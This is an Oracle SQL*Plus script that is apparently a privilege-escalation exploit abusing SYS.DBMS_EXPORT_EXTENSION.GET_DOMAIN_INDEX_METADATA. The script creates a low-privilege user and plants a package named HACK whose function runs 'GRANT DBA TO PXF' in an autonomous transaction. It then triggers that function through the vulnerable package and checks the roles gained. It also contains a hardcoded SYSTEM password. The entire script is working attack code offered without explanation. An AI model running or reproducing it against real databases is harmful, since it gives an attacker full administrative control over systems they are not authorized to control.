connect system/v1enna@oradwp

drop user pxf cascade;

grant create session, create procedure to pxf identified by pxf;

connect pxf/pxf@oradwp


CREATE OR REPLACE PACKAGE HACK AUTHID CURRENT_USER IS
	FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,
		P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
	RETURN NUMBER;
END;
/


CREATE OR REPLACE PACKAGE BODY HACK
IS
	FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
	VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
	RETURN NUMBER
	IS
	pragma autonomous_transaction;
	BEGIN
		EXECUTE IMMEDIATE 'GRANT DBA TO PXF';
		RETURN(1);
	END;
END;
/

-- inject the code

DECLARE
	buf PLS_INTEGER;
	v_Return VARCHAR2(200);
BEGIN
	v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA
		(INDEX_NAME => 'A1', 
		INDEX_SCHEMA => 'PXF', 
		TYPE_NAME => 'HACK',
		TYPE_SCHEMA => 'PXF', 
		VERSION => '10.2.0.2.0', 
		NEWBLOCK => buf, 
		GMFLAGS => 1);
END;
/

select * from user_role_privs;